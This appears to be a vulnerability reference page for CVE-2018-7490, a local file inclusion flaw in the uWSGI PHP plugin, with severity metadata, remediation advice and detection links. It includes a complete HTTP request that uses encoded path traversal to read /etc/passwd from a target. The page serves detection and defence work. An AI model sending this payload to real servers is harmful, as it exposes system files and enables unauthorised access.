🔙 목록으로 돌아가기

CVE-2018-7490: uWSGI PHP Plugin Local File Inclusion

TitleuWSGI PHP Plugin Local File Inclusion
Authormadrobot
SeverityHigh
ImpactAn attacker can read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
RemediationUpdate to the latest version of uWSGI PHP Plugin or apply the necessary patches to fix the local file inclusion vulnerability.
CVSS Score7.5
EPSS Score0.93301
CVE IDCVE-2018-7490
CWE IDCWE-22
Tags cve2018 cve uwsgi php lfi plugin edb unbit vuln

🔍 Vulnerability Description

uWSGI PHP Plugin before 2.0.17 mishandles a DOCUMENT_ROOT check during use of the –php-docroot option, making it susceptible to local file inclusion.

🌐 HTTP Request

GET /..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:132.0) Gecko/20100101 Firefox/132.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-7490.yaml

🦈 Packet Capture: ⬇️ Download cve-2018-7490.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A